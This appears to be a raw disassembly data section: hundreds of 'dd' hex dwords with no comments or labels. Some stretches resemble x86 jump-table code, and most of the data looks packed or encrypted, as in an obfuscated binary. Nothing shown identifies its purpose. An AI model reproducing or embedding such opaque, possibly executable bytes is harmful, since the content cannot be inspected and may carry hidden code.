		dd 0FFFF9085h, 8D25B7FFh, 0EB395A8Dh, 0DE8B6607h, 1B718D89h
		dd 6A07E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 218799C3h, 3DDBA52Bh, 0B5292CD2h,	7E40DB9h
		dd 6820Fh, 85890000h, 7E41DD9h,	14298589h, 85C707E4h, 7E42DA1h
		dd 6778h, 0CE9h, 9DDBC500h, 7CD353B7h, 4E26AA5Fh, 0B985C782h
		dd 7E422h, 81000000h, 0ADBC1F7h, 5DB5FF37h, 307E41Dh, 0E4098995h
		dd 10E807h, 130C0000h, 80C38139h, 821523Eh, 0F9B697AEh
		dd 0CE80F5D0h, 95FF5BFAh, 7E43061h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 51C35242h, 0FFEEAF6h, 6AD3B7h
		dd 0E4195FFh, 0C08B07E4h, 7ECF5BEBh, 0FFF159Fh,	23C0EDB5h
		dd 9C85A177h, 356B829Dh, 0B3AE4CAFh, 0E1C5E5FDh, 0AF8EE42Ch
		dd 2BDFE50Fh, 44DEE88Bh, 0BA7F7122h, 88535E4Fh,	98D58CF3h
		dd 336552BAh, 910B89ACh, 1C1A4C3Bh, 78534EF9h, 2357A08Dh
		dd 0B0198F7Ch, 0FDC76D9h, 0A22C7748h, 84ED3198h, 0BF33BE02h
		dd 0EE865h, 0CB1B0000h,	1A2861h, 9B184E9Ch, 35D87E9Eh
		dd 0B0A9C981h, 8B583F30h, 0E4233D95h, 60C08107h, 89000064h
		dd 0E41CC5B5h, 60FF3307h, 1C59B589h, 816607E4h,	612B6DF0h
		dd 0E90734FFh, 8, 67E60E7Bh, 0CF96D910h, 49B5895Bh, 8107E430h
		dd 5773E1EBh, 81D38B40h, 268EB2F3h, 698D8B48h, 8107E41Bh
		dd 0F9B94C3h, 5E936h, 64590000h, 53C495EBh, 38D0Fh, 8B660000h
		dd 38048FCBh, 29C1B509h, 0ABB907E4h, 83227264h,	952B04EFh
		dd 7E42D9Dh, 9C3CFF81h,	850FFFFFh, 0FFFFFF98h, 0E8E9D58Ah
		dd 5D000000h, 0D7484835h, 0C3CA459Ch, 0DAB6E1C8h, 95A7ACABh
		dd 0F44592B3h, 0B395A1h, 0A7ECABDAh, 0B2915D20h, 96B1F46Bh
		dd 55207520h, 0F26BB79Bh, 9692A5BCh, 3A7594A1h,	9FB79960h
		dd 0B599BD32h, 0A59CB2E9h, 0ACA3F292h, 0B1EF7695h, 0F94E0097h
		dd 9FA5B4h, 0F07B6B5Ch,	8A924Ah, 45F352D0h, 0A3F653F5h
		dd 44D6D979h, 45E3AFF1h, 0D77D41F4h, 9792B000h,	0FD756BBFh
		dd 96BFCF60h, 0B293BCF9h, 57207D20h, 92ABF79Bh,	0B29EBD94h
		dd 0CE9DBCE3h, 8F899BE0h, 0FD8F9D72h, 6DB4EEA9h, 0BCE1B6F6h
		dd 0B3ED7293h, 0B6D00097h, 0A8CD43F1h, 0F0h, 74470000h
		dd 0E0E3129Dh, 5E99h, 0Bh dup(0)
		dd 0E9000000h, 15C0h, 0EB3D4A68h, 42A1E907h, 4468FFF9h
		dd 0E907EB3Eh, 0FFF94297h, 0EB3F2A68h, 428DE907h, 5668FFF9h
		dd 0E907EB40h, 0FFF94283h, 0EB40E868h, 4279E907h, 9868FFF9h
		dd 0E907EB41h, 0FFF9426Fh, 0EB424868h, 4265E907h, 0FC68FFF9h
		dd 0E907EB42h, 0FFF9425Bh, 0EB43A268h, 4251E907h, 0E68FFF9h
		dd 0E907EB45h, 0FFF94247h, 0EB462F68h, 423DE907h, 7968FFF9h
		dd 0E907EB47h, 0FFF94233h, 0EB485A68h, 4229E907h, 0B168FFF9h
		dd 0E907EB49h, 0FFF9421Fh, 0EB4B1E68h, 4215E907h, 7268FFF9h
		dd 0E907EB4Dh, 0FFF9420Bh, 0EB4E7868h, 4201E907h, 7951FFF9h
		dd 0D4ADC357h, 2E0A20B4h, 8B6A8014h, 0F2CDE377h, 836942D6h
		dd 3FD3EFCAh, 9D314F29h, 0FF93A987h, 60F40CE9h,	0FB80FDADh
		dd 5713A99Bh, 79568312h, 7E5B2961h, 0DCB3D266h,	0BE482D2h
		dd 8C18B3EBh, 0A78597AFh, 0A6B3A02Ah, 4D85EE13h, 0A6B4DFA0h
		dd 2B5B6C13h, 78098C73h, 5949D8h, 0CB690000h, 39ED6EEh
		dd 30921CF1h, 42A0CCB3h, 0AD2A8A14h, 1442A0D6h,	0B0C21B84h
		dd 5CAC028Dh, 0A6A929DFh, 467EE713h, 0A6A9E699h, 6573113h
		dd 80B81129h, 84BCD6B2h, 0CF4EF6CDh, 267ED7F5h,	0D22D5115h
		dd 0C4D87808h, 1F314926h, 0E080h, 4F2EA000h, 8820A4B3h
		dd 92815668h, 0A0CCB330h, 218A1442h, 18F50Fh, 31FFAC8h
		dd 0D520FDCBh, 7C55E1F7h, 0FDCB035Ch, 7F740820h, 1442A416h
		dd 55EACB3Dh, 8D549B79h, 0D30B2501h, 2F0C2638h,	0BA98317h
		dd 45E0182Ch, 0B3C5DBB9h, 6CA4BC99h, 64B4FA95h,	0A6326DE7h
		dd 7ACA3313h, 3AE49B18h, 97213A6h, 0D9B6D5F7h, 4C6240DEh
		dd 690E7914h, 0E513A63Ah, 3A730885h, 76DF13A6h,	0F774C41Dh
		dd 1440D3F4h, 630151BAh, 0FED86C88h, 326A8460h,	906B8597h
		dd 0FC592074h, 0D2126235h, 12FE4Ch, 0A6C8A000h,	323FC12h
		dd 637D596Fh, 0C6DAB9CFh, 25411C32h, 1932B891h,	788E223Eh
		dd 0D6EC809Eh, 384EE2F8h, 0FCAF435Bh, 9D28CF4Ch, 61A613A9h
		dd 5F7B56D2h, 0B9D8B5CBh, 24635BF8h, 0FD91EA29h, 39424D2Ch
		dd 0DCB9455Bh, 98F18CC4h, 0A905CB48h, 6AD313A6h, 0A9FA8532h
		dd 405113A6h, 76F35504h, 13A6A981h, 7C58E44Dh, 8A755062h
		dd 0CD87808h, 3B360E9Ah, 0DFF1487Bh, 0BE40h, 0F4926900h
		dd 0F58A0718h, 611442A0h, 99679FF8h, 0D36EA6BAh, 714E687Ah
		dd 78532159h, 0FA324E29h, 0DEF6D35Fh, 49BB4D85h, 0B2B8652Dh
		dd 1710221Eh, 1442FE8Eh, 10A4BC99h, 0BEFE1DFAh,	451BB333h
		dd 0BF332181h, 69398D6Eh, 8E01D810h, 5832D020h,	0CD4A283Ah
		dd 13A6324Bh, 0FD1CB019h, 2ECC1C92h, 45233555h,	40DCE8C8h
		dd 0C1117A14h, 982C4823h, 378BA782h, 6236004Ch,	46DF333h
		dd 9A000012h, 0F60CA0C2h, 5369FD1Dh, 0B3C95D77h, 162CC0D4h
		dd 0B28B1F3Bh, 1C38134Ch, 7A987288h, 0DCF2D0E6h, 3D553248h
		dd 0C946F6A9h, 13A99E32h, 56CC5BA0h, 0F1CB5F7Bh, 265E7653h
		dd 825F798Bh, 5605D66Ah, 97296179h, 0F0021EF9h,	0CFAEF9D6h
		dd 8FE883BBh, 0EF09E5FBh, 0E22019Fh, 8B6836FCh,	77B8DF73h
		dd 0DD9EF1h, 0BC15B0E8h, 916C0A6Ch, 8C17B76Eh, 0A63C44Bh
		dd 0E951FFF8h, 96FF13A6h, 26FF9D8Dh, 1FBF406h, 8BE42C00h
		dd 0F85AAA04h, 2C62847Bh, 89E952EBh, 6715C80Ah,	0A17F9141h
		dd 0C8F7D224h, 0DF1780ECh, 724DEB4Dh, 18831E56h, 1310C763h
		dd 517486EFh, 0A320703Eh, 14F7777Fh, 0D7F5AC1Eh, 3DB1B846h
		dd 47A7D22Dh, 6DFD284h,	9C7B8DE6h, 6845E333h, 0C9A6BC50h
		dd 0D1305DB1h, 236362C6h, 111E9Dh, 86A88000h, 0E303DCF2h
		dd 435D394Fh, 0A6BA99AFh, 521FC12h, 0F9529871h,	586E021Eh
		dd 0B6CC607Eh, 182EC2D8h, 0DC8F233Bh, 9FC8AF2Ch, 418613A9h
		dd 0B33092B2h, 1442A0CCh, 0F50F218Ah, 0F1C80018h, 9FD0099Eh
		dd 0F9B543DBh, 1DD350A0h, 0DC13A6EFh, 2F06FD7Ah, 6BD413A6h
		dd 0C1117A59h, 0F42C4823h, 6254759h, 58D52589h,	14420A52h
		dd 8DA78321h, 0C9A8BA55h, 807B2860h, 471B8A15h,	0B14E0E36h
		dd 26D0935Ch, 32h, 0E432D446h, 25767FD3h, 424D3E13h, 3B9F1C6Ch
		dd 5913A6EFh, 2402A0F0h, 0F8857A0Eh, 1F13A6F0h,	80962A42h
		dd 9E3C8CA2h, 0D298AAC0h, 10664Ch, 0F492DB00h, 0C017FA15h
		dd 0A98DA104h, 0CEE8C450h, 0B8F699BCh, 0E703EB68h, 35D113A9h
		dd 69043C5Ch, 4522C010h, 0F2D01FFAh, 962A83DCh,	538BA380h
		dd 4B9B137Ch, 422D45CEh, 50A00914h, 41748CDEh, 617358F1h
		dd 0F008E583h, 92902A0h, 0E2BFD5F7h, 0D4BB92CAh, 8A288ADAh
		dd 8C5A92B0h, 0C66199ADh, 44625B6Dh, 121C70C4h,	0F54255A9h
		dd 25655A46h, 0FF29Fh, 0B2D4AC00h, 0F2F081Eh, 6F89657Bh
		dd 0D2E6C5DBh, 314D283Eh, 253EC49Dh, 849A2E4Ah,	0E2F88CAAh
		dd 445AEE04h, 8BB4F67h,	0E024DB58h, 6DB213A9h, 0A08477DEh
		dd 89061442h, 0C663D525h, 7A9F8597h, 48809A76h,	644254ADh
		dd 0A98664E7h, 71C12A13h, 7898710Fh, 7F937240h,	4153AC47h
		dd 9E324A27h, 5B93AB88h, 0F09C0B84h, 137221B4h,	6D0B5BB4h
		dd 0CE7B6F92h, 0E5254152h, 0A7B9548Ch, 0C6864CC9h, 0B854144Dh
		dd 1367C0DEh, 62320A8Eh, 6067ED2Dh, 3E00000Fh, 9AB04466h
		dd 0F70DA1C1h, 576D011Bh, 0BAD06478h, 562FC3DFh, 0C0DCB790h
		dd 1E3C162Ch, 8096748Ah, 0E1F9D6ECh, 6DEA9A4Dh,	13A9E096h
		dd 9270FF44h, 0A0CCB330h, 218A1442h, 18F50Fh, 94783EB0h
		dd 9562FEDh, 7486A27Dh,	0EB03E0AEh, 0F2B26FB3h,	5B2F35CAh
		dd 91CA2E0h, 4DCB0000h,	435D3942h, 1F1D9AEAh, 6E13A99Ah
		dd 0A4DCF2D0h, 0AF18F709h, 0CCE4C15Fh, 6E6F0A7Ch, 4C1D547Ch
		dd 0A03E183Ah, 0D772AAC4h, 83CEABC5h, 0BC578FA5h, 0FD7E2B63h
		dd 0D13A9F0h, 31DF982h,	87D730CBh, 4DDC440Ah, 55A91214h
		dd 62320456h, 0B0B33979h, 0EE00000Eh, 4A60F416h, 0A7BD5171h
		dd 71DB1CBh, 6A801428h,	6DF738Fh, 708C67E0h, 0CEECC6DCh
		dd 3046243Ah, 91A9869Ch, 1D9A4AFDh, 13A9E166h, 5620AFF4h
		dd 5B296179h, 0DF26F7Eh, 0C91442A0h, 8BCF0760h,	19E696CEh
		dd 0BEE05C1Dh, 87Ah, 0A08477E7h, 89061442h, 5A37D525h
		dd 0D5523042h, 13A99A97h, 4AACFC65h, 720986E8h,	0E013A99Ah
		dd 9A770C77h, 7AE313A9h, 59714E68h, 0BAD2AFC5h,	0D3E4AB82h
		dd 0A99AA156h, 0B5912D13h, 6FC8639Bh, 0C664C616h, 1E12CCE7h
		dd 65501FA3h, 2739D40Ch, 4D6B782Eh, 79CD3614h, 62316D3Ch
		dd 0E167A7h, 9E00000Eh,	0FA10A4C6h, 576D0121h, 0B7CD617Bh
		dd 1A30C4D8h, 0B68F233Fh, 203C1730h, 7E9C768Ch,	0E0F6D4EAh
		dd 4159364Ch, 0CD4AFAADh, 13A9E236h, 56D05FA4h,	5B296179h
		dd 602E667Eh, 612F6787h, 43573687h, 24FBB2EAh, 820FD60h
		dd 0DADC35D0h, 0CA35691Dh, 0BE05C1Dh, 7BEh, 9AAE8D2Bh
		dd 81A300Eh, 18F49233h,	0C6C9ECFEh, 742698E8h, 0AF12B999h
		dd 17947284h, 13A9C8B6h, 650353BCh, 0C6DC7088h,	0E381D1E9h
		dd 15DBED07h, 0EF09E583h, 110A1CB7h, 13A92D6Eh,	6FBFEFA0h
		dd 48916F0Dh, 0E5F7506Eh, 4D0126ECh, 378BF414h,	6231C788h
		dd 4CA92F6Fh, 5200000Dh, 0AEC4587Ah, 0B21B5D5h,	6B81152Fh
		dd 0CEE4788Ch, 6A43D7F3h, 0D4F0CB84h, 32502A40h, 94AA889Eh
		dd 0F50DEA00h, 81FEAE61h, 13A9E2FAh, 92841358h,	0EBFD19F4h
		dd 0A4DCF4D1h, 0A9E1F9D6h, 0AEE6FEDBh, 0B5ED01E0h, 5D1551D4h
		dd 0B6E69E5Bh
		dd 0E05C1D49h, 70D8Eh, 8177B700h, 0B1442A0h, 53312384h
		dd 79339970h, 753D020h,	0D513A9D2h, 0A17E1C6Ch,	2DFF589h
		dd 0CF7F10E3h, 0BA5E99C7h, 6F1676EFh, 0A429B30h, 514B5C33h
		dd 0BBDBB450h, 0C2FA0C5Bh, 0C69C1969h, 94144D99h, 39F2D72Bh
		dd 0D9196232h, 0CA653h,	0FE20F800h, 5B7B546Ah, 0BBD5B1C7h
		dd 1E321127h, 7D99748Ah, 71EA10E9h, 0D0E67A96h,	2E44D8F6h
		dd 90A63A50h, 54079BB3h, 0E35027A4h, 0B9FE13A9h, 0AE20922Ah
		dd 4C22E7E0h, 8DC5E3BDh, 0CC4999F2h, 1442DC37h,	0E283AA3h
		dd 13E11931h, 0F50FEB36h, 1C26649Ch, 788AA07Eh,	0D7B4ABDBh
		dd 0AB542BBFh, 2CE05B95h, 183h,	0BBCFAE4Ch, 7956D4A9h
		dd 7E5B2961h, 9E781666h, 9BAD4880h, 79355A79h, 0B322AC29h
		dd 77013A6h, 69DB3DCFh,	0CA09163Eh, 8A71DC93h, 4813A620h
		dd 2BD4CDDFh, 0A013A620h, 58A7D78Fh, 3ED8779Dh,	5AAAC4A0h
		dd 0A62826DDh, 394BB413h, 579Ah, 424DC300h, 0D455B39h
		dd 0DEA52272h, 7C1442A0h, 0ED6ABA13h, 13A6A927h, 637D59F5h
		dd 0FF37902Bh, 0A6A9A952h, 0F50DEA13h, 0F715EFBDh, 0CBB02DBFh
		dd 8713A6A9h, 92D2A91Eh, 317586DEh, 7808728Dh, 0D163D8h
		dd 21830000h, 0F3989CAFh, 349F85B9h, 13A69C4Fh,	0BB90A20Bh
		dd 29617956h, 2C64805Bh, 91DFC9Ah, 0CFAA36D1h, 0AA87A1B3h
		dd 0AF8C5A92h, 0BD6EA490h, 80D92D5Fh, 0F6FEF7ECh, 0AC891442h
		dd 0AEE10094h, 0B04EB000h, 4F2CB8D6h, 5264FF37h, 0A4EEFB59h
		dd 0D0208913h, 0EB3B5732h, 30770C89h, 7AE313A5h, 55304668h
		dd 0EFEEE539h, 0F1316A19h, 0B3A6Bh, 6A8C6400h, 0C7E7C0D6h
		dd 27411D33h, 8A9E7D93h, 0E905E0F6h, 0DD767C55h, 3C52E602h
		dd 9AB04462h, 0FC12A6BCh, 0C073071Fh, 0E5EC9310h, 256A13A9h
		dd 5F7B5696h, 4B30AD0Fh, 0CC1442A0h, 49FD7EFh, 21D653B3h
		dd 0AD1442A0h, 0B7D9EB44h, 38B5C4A1h, 1442A043h, 7B99730Fh
		dd 0F64FA843h, 152908A6h, 5610E103h, 5B296179h,	0F8D2667Eh
		dd 2E667C5Ah, 0AADD3393h, 0D2005A3Ch, 4D4EEC0h,	927D0000h
		dd 8A0718F4h, 1442A0F5h, 679FF861h, 0F897BACCh,	660466B6h
		dd 665F7189h, 13A6AB90h, 3185CD3Fh, 8A415A18h, 0F8309978h
		dd 0F0870466h, 5E13A6E2h, 96CEE4C2h, 9790A2FBh,	13A6E2E4h
		dd 6A125263h, 0D877CF95h, 1F142h, 83776B00h, 0D1442A0h
		dd 5FDC2C82h, 13A99A29h, 902E7EE7h, 0F1079BB3h,	0F3880514h
		dd 5F13A99Bh, 0D3659DF6h, 2C3E5A35h, 0D8288609h, 0EAFDD876h
		dd 0A99B966Dh, 82DB4413h, 95A17770h, 0FF6F144Dh, 0A966806Fh
		dd 9DFF6E07h, 6833C0D4h, 7B62B60Fh, 0B8623239h,	0A19F278h
		dd 0AD850000h, 8E1F78Bh, 623E54E8h, 0BF9EB448h,	260117ABh
		dd 579D760Ah, 730723FEh, 0D165835Dh, 33C7DDBBh,	9428401Dh
		dd 0CFB431E1h, 8B13A9E6h, 0F492B746h, 2EC90115h, 0D25021Ch
		dd 0DF2A07D5h, 5A92EB01h, 33B0121Ch, 1442A04Ch,	0F28FA10Ah
		dd 0D6EECBB2h, 0F20CE886h, 7B0E5E92h, 7A8C2C96h, 577E8158h
		dd 2F57E05Bh, 80000001h, 0ED6A7956h, 1442A016h,	0CA025BC4h
		dd 73071FFCh, 51FFB99h,	0EFBFD0F3h, 0B3A8229Fh,	4AE613A6h
		dd 2F47246Bh, 0F4D09ED6h, 0AE07A2DAh, 8F701D55h, 813A6B4h
		dd 0E600DC2Fh, 82BA13AEh, 85BDD9B4h, 8BC77F46h,	3A622233h
		dd 0D87809C5h, 2C12h, 424D3B00h, 0E99F1C6Ch, 0A813A6A9h
		dd 0E2AC7D36h, 1AA6D8E2h, 3413253Dh, 15E693CBh,	0B213A669h
		dd 46B9E5A1h, 8FD87748h, 9Dh, 617956B8h, 64805B29h, 62815E2Ch
		dd 0B2D24A15h, 0C5FD5634h, 6E021AF7h, 42C98C79h, 0F33E1B14h
		dd 27C2FA1Ah, 741B3ACEh, 87112833h, 3D96A288h, 2DD270EDh
		dd 2FA113A4h, 4278B921h, 41203222h, 79B1C7A5h, 973585DEh
		dd 320CA0BCh, 8D9FB794h, 70499873h, 247D1850h, 1A3517D0h
		dd 6AF0306Ah, 8CFh, 41D5F7CFh, 9E32522Bh, 0FE92AC88h, 61F509E8h
		dd 0C054704Bh, 6D4801E7h, 0CDA7BD51h, 27051BAFh, 8A677D11h
		dd 7B2BDE72h, 0A9E779FEh, 190D513h, 0CB5F7B56h,	2CC0D8B5h
		dd 6179565Bh, 5F7E5B29h, 7FCCCB15h, 2ABE17FAh, 2995Ch
		dd 424DEB00h, 3DBA1C6Ch, 1442A046h, 819D7814h, 4355AE49h
		dd 8A650365h, 0F9B366Eh, 10091B31h, 13A99B60h, 105B82F2h
		dd 59F7A958h, 601BC800h, 0E713A9D4h, 11EEAED6h,	0C6D8709Dh
		dd 229h, 700784E6h, 0DE13A9D8h,	778E6375h, 1442A083h, 0DC2C820Dh
		dd 0A99B9B5Fh, 80D03913h, 9DED05E2h, 5C280D2Bh,	0EE00E148h
		dd 1390F2CCh, 13A92C6Ch, 556F81EAh, 51286078h, 8C95693Eh
		dd 869CC660h, 0BA60DD2Dh, 58144DFBh, 1D569BEFh,	0C5056232h
		dd 7EE3Fh, 0B6D8B000h, 13330C22h, 738D697Fh, 0D6EAC9DFh
		dd 35512C42h, 2922C8A1h, 889E324Eh, 0E6FC90AEh,	485EF208h
		dd 0CBF536Bh, 0E818DF5Ch, 71B613A9h, 16F492E2h,	0F7D4EE00h
		dd 0FCD9A7DFh, 0FFDEACE4h, 8E5B3EBh, 0A0877CF9h, 0EA531442h
		dd 521B5991h, 99625E12h, 7D9572EDh, 11ED12E9h, 72EAE05Ch
		dd 0A000001h, 66788E6Ch, 6A795691h, 0A0F48B08h,	0F9621442h
		dd 42A0E98Eh, 0A3FC6514h, 0A8C09D6Bh, 0C4DEBA58h, 0BDDFF18Ch
		dd 0AC8AF19Eh, 6AC35E96h, 0B3139D1Ah, 0F86113A6h, 0B46813C0h
		dd 0CEDF13A6h, 919E696h, 41BED878h, 0E7000000h,	5C39424Dh
		dd 1E9BEB44h, 13A6A968h, 0E831B626h, 0D590A996h, 0E497447Ch
		dd 6313A658h, 0C9671252h, 0AAC6A1ECh, 2E7E1951h, 0A658CAB1h
		dd 0D1F8813h, 7719CD32h, 0CD0AD8h, 8C2A0000h, 0B28799ADh
		dd 29617956h, 6B5D805Bh, 2F281EAEh, 5D30B64h, 0E503DD28h
		dd 69B912ADh, 9BD3F1CBh, 7ED7F1CDh, 0FBD8A66Ch,	3C738BDCh
		dd 0AFC0234Fh, 24CF2FFCh, 5C36C209h, 3395E53Eh,	42A5C1B6h
		dd 98248D14h, 6B8D9FBFh, 42DF9F76h, 334B2814h, 9F0F809Fh
		dd 3874D24Fh, 990213A4h, 0B4D0AB49h, 132F0A20h,	1A1A3CBFh
		dd 6DF3336Ah, 697h, 790D2F07h, 0D66A8A63h, 36CAE4C0h, 992D4120h
		dd 0F88CA883h, 0A580D91Fh, 5DFF589h, 5F3D53E7h,	0C29FB549h
		dd 0B36316AAh, 0A9E94136h, 39C80D13h, 0CB5F7B56h, 0E2B9D8B5h
		dd 95954DFDh, 0F1CCA828h, 7CD552F3h, 0F471D323h, 1442C30Fh
		dd 2E5062CBh, 8E75F254h, 4C1442C3h, 56FCD1E3h, 0AF116179h
		dd 42A04D32h, 8EA00914h, 51DFAC8h, 0B8359771h, 1442A0C3h
		dd 4214268Fh, 32h, 617956D1h, 1CF99729h, 0FBD8F204h, 0CA47ABE3h
		dd 0A7C6A39Ah, 920F91B8h, 1442ADEDh, 0F5A00069h, 3AC13E5Fh
		dd 98144255h, 0E97DD62Fh, 421Bh, 7956AA00h, 0DD36542Eh
		dd 997513A5h, 0A0740B88h, 79E21442h, 0C14DE820h, 0FB96CEE2h
		dd 0A00EF0E9h, 0B0891442h, 0AD8A5890h, 0B08F5D95h, 1450279Ch
		dd 0BFE7105Ch, 7BCBE3C0h, 0A0E79C19h, 0A731442h, 5605D6F8h
		dd 52296179h, 8321713Dh, 671C99A4h, 0F31442A0h,	0C7A5318Ah
		dd 0CCDE79B1h, 9B9D71EEh, 0EE5713A9h, 0C22009Eh, 0A17E1CFAh
		dd 9B6E1592h, 83EC13A9h, 0A380962Ah, 137C538Bh,	45CE4B9Bh
		dd 0A1442A1h, 41798D6Ch, 4CB594A6h, 69815EFCh, 3D19B719h
		dd 0D5C3B823h, 268F1B94h, 0FFDCF214h, 0B7D8AFE7h, 72CBEBC4h
		dd 8EA88422h, 83219E7Ch, 0D11C70C2h, 0F3F11468h, 52925A46h
		dd 52ACCh, 7A9C7400h, 0D7F7D0E6h, 37512D43h, 9AAE8DA3h
		dd 0F915F006h, 0ED668C65h, 4C62F612h, 0AAC05472h, 0C22B6CCh
		dd 0D083172Fh, 0EBDCA320h
		dd 357A13A9h, 617956A6h, 7A55F3CDh, 9567EE57h, 0A4FD67D3h
		dd 6B45D16Ch, 687A154Dh, 4C26714Eh, 0CF9DD52Eh,	0EC8ADAF2h
		dd 2FC1F90Dh, 4209CDB2h, 0C7208914h, 0E8B1EFB5h, 0CCE4C1BCh
		dd 689E6138h, 86F8E05Bh, 0BACE60C9h, 0A5445690h, 62h, 39424DCEh
		dd 0DBE3435Dh, 57B69A30h, 0C44191EAh, 13A6C6DCh, 27C5157Eh
		dd 5DDA3C49h, 13A6D8A6h, 9B60CB34h, 3713A6D8h, 0B32575CEh
		dd 0E4FEE09Fh, 976CE933h, 4313A6E6h, 4D6F81DAh,	0DDFBD573h
		dd 0E62BD2CBh, 0AA813A6h, 3FDA1230h, 1E36132Dh,	8096748Ah
		dd 455C248h, 0AA480000h, 0DE79B1D1h, 7956F7CCh,	32AF1161h
		dd 1442A04Dh, 307043FAh, 1F701410h, 10DEA4B6h, 0F10DE833h
		dd 0F70DEBB9h, 3FCB24BFh, 0A3F34C60h, 87C22C31h, 0D6DA95Fh
		dd 4A98096h, 224456BCh,	0D2228C03h, 0DFF3D270h,	1FA0CA7h
		dd 13A6768Fh, 860365C5h, 13A679F1h, 0F289F45Dh,	6013A679h
		dd 0D4669EF7h, 0D1801462h, 0A7F77E55h, 0A6F4552Ah, 86980113h
		dd 0A6F4F28Dh, 1C485913h, 77C99F60h, 4738D8h, 4D610000h
		dd 0BA1C6C42h, 0A024DB58h, 49B21442h, 0A9883E37h, 0A94713A6h
		dd 0B07EB6CAh, 0E47FB7D7h, 319A798Bh, 0A9B34CF9h, 5E413A6h
		dd 0CEBB9F1h, 17F2C0F8h, 2B28C3FBh, 18702064h, 0E01F5F07h
		dd 0F5D87808h, 104h, 6179561Eh,	49987311h, 0E7F9526Eh
		dd 5C785321h, 19F49224h, 7D9371FDh, 5C74516Bh, 1BF49224h
		dd 0F2CFE9FBh, 0FA6C46DAh, 61B34EC6h, 0FA77C7EDh, 14425B05h
		dd 5D5668D1h, 14425F48h, 9AEA02DFh, 0A0C4BB38h,	32921443h
		dd 43A1CEB5h, 0CA238C14h, 0A38096B8h, 137C538Bh, 41D94B9Bh
		dd 0CCE2C068h, 0E898106Ch, 6D7BF8D6h, 3B13A775h, 70A8C49Fh
		dd 0C9E87CD5h, 0BEDAB5C6h, 15B31565h, 19E71F39h, 51EC243Ch
		dd 45EDE6F8h, 171441A0h, 9AFC5EAEh, 8E74661Dh, 798BF41Bh
		dd 1868845Fh, 744239B6h, 0A7101B8Eh, 825D7395h,	0ACFD1266h
		dd 5A9A6234h, 2D6D4h, 0CEF0C800h, 2B4B243Ah, 8BA58197h
		dd 0EE02E1F7h, 4D69445Ah, 411AE0B9h, 0A0B64A66h, 0FE14A8C6h
		dd 60760A20h, 24D76B83h, 0ED00F774h, 89CE13A9h,	2C7B56FAh
		dd 49DD3650h, 64375633h, 0A8E3CBB2h, 0B28C2079h, 6A1A3514h
		dd 0DB809779h, 6E4355AEh, 375424Dh, 0ECBD43BEh,	4FB66FEh
		dd 0D2144256h, 43C01069h, 13A65F8Dh, 0B7D3AE4Ch, 255DC6A5h
		dd 0A65F8778h, 73334413h, 7712B44Bh, 1970E2D8h,	1920F2C9h
		dd 0C653F204h, 73000000h, 6DEAF7D5h, 13A64796h,	7082DB44h
		dd 6179569Bh, 64805B29h, 0A4167F2Ch, 24011442h,	8562780Ch
		dd 49BB1D6Dh, 66574DAh,	9E65D0FBh, 3C1442C8h, 24FBC1D3h
		dd 76F3436Bh, 13A6C668h, 0A5BD9A36h, 0E579D26Dh, 95E5C9C6h
		dd 40319F18h, 0DA73E314h, 22C2B921h, 62C3D434h,	1FA25764h
		dd 0FED876C6h, 0FB0DA8E0h, 55A47F1Dh, 6F035C7Ch, 0E627E59h
		dd 62366C0Bh, 0D0DA60A0h, 0CE000001h, 2A40D4F6h, 879D3151h
		dd 0E7FD91ABh, 4A60F408h, 0E6BF536Fh, 506C4700h, 0AECCA6BCh
		dd 1026041Ah, 7189667Ch, 0FD7A2ADDh, 13A9EE06h,	56008FD4h
		dd 0F1CB5F7Bh, 0F8E3017Fh, 0D626D436h, 42AAA259h, 0B5C73014h
		dd 12A6BE9Bh, 0B3309241h, 1442A0CCh, 0D6AD2A8Ah, 841442A0h
		dd 96B0C21Bh, 0B351A1B9h, 5230BCD8h, 96642A3Ch,	0F70DA1B9h
		dd 14B2021Ah, 4AE51D39h, 0F49B7238h, 83ED6ABAh,	5113A6B9h
		dd 22F9B0E8h, 61EFB62h,	5CEB44B6h, 45336D6Ch, 9DF21133h
		dd 4923C111h, 858F32Bh,	0A660F48Bh, 0E7F96213h,	7AAA8C09h
		dd 4FB81442h, 6D8361FFh, 0C2889A35h, 0C7FF17F4h, 0B6BEE663h
		dd 0E785D5D9h, 1EB9F10Bh, 649CB692h, 5CD9B7C9h,	1C6E61FAh
		dd 758B1F88h, 7A488098h, 974E869Ch, 0BC9984C0h,	9EF110A4h
		dd 2943C010h, 0A7040A4Ch, 274063Eh, 0B82B4C2Eh,	0E2FC0EEFh
		dd 0E7B5ED05h, 0E8B6EE0Eh, 1EB9F10Dh, 8C68B792h, 0A2E11972h
		dd 72E7ABDBh, 246BEB9Bh, 7BC83A8Ah, 7E5F041Fh, 0D4FC1B60h
		dd 237C06D4h, 54B63311h, 1B0C37FFh, 16939E7Dh, 3337C061h
		dd 0F32B84EDh, 0FE674658h, 18F2906Ah, 0C0F18603h, 0F45D3337h
		dd 0B6C8639Bh, 3EBBFC93h, 3337C0B9h, 353AC15h, 0DCFA9186h
		dd 1C54BD34h, 0C559714Eh, 82BAD2AFh, 815F19D5h,	0DA4C0A74h
		dd 0A348519Bh, 8421339Eh, 68805DC0h, 0C9E1BED4h, 0D0E4C391h
		dd 0D1F1CA98h, 0F58A0799h, 616B410Bh, 788E6CF8h, 0F2B28940h
		dd 933149BEh, 0CD68A0B4h, 0F7661EBBh, 586E021Ah, 992B637Bh
		dd 0A6BA9937h, 410B443Bh, 63A2126Bh, 0A0E4A0C0h, 0FE7BCB24h
		dd 6B41E079h, 885A6CD5h, 3, 563E8D17h, 56245C7Eh, 5B296179h
		dd 612F677Dh, 63316987h, 66346C88h, 69376F8Bh, 703E768Ah
		dd 74427A94h, 0EE437B9Bh, 81E28952h, 4C2h, 4EA8300h, 31241433h
		dd 14332414h, 89575C24h, 4C781E7h, 83000000h, 3C8704EFh
		dd 34895C24h, 66406824h, 0C890000h, 4EC8124h, 89000000h
		dd 1CB82404h, 3556202Dh, 188D244Dh, 32A93540h, 0C6894946h
		dd 4EC8358h, 83242489h,	59042404h, 7FDF68h, 24048900h
		dd 8B8h, 89C80100h, 0C8B5830h, 0E2895224h, 4C281h, 0C2810000h
		dd 4, 5C241487h, 5324348Bh, 0C381E389h,	4, 8704C383h, 0E95C241Ch
		dd 0FFF92CF7h, 1774D684h, 0BFFA271Fh, 2383B9A2h, 0EB506DB8h
		dd 0FFC50307h, 2A5DDAE0h, 96E76062h, 1AEAB34Fh,	5D7D0F16h
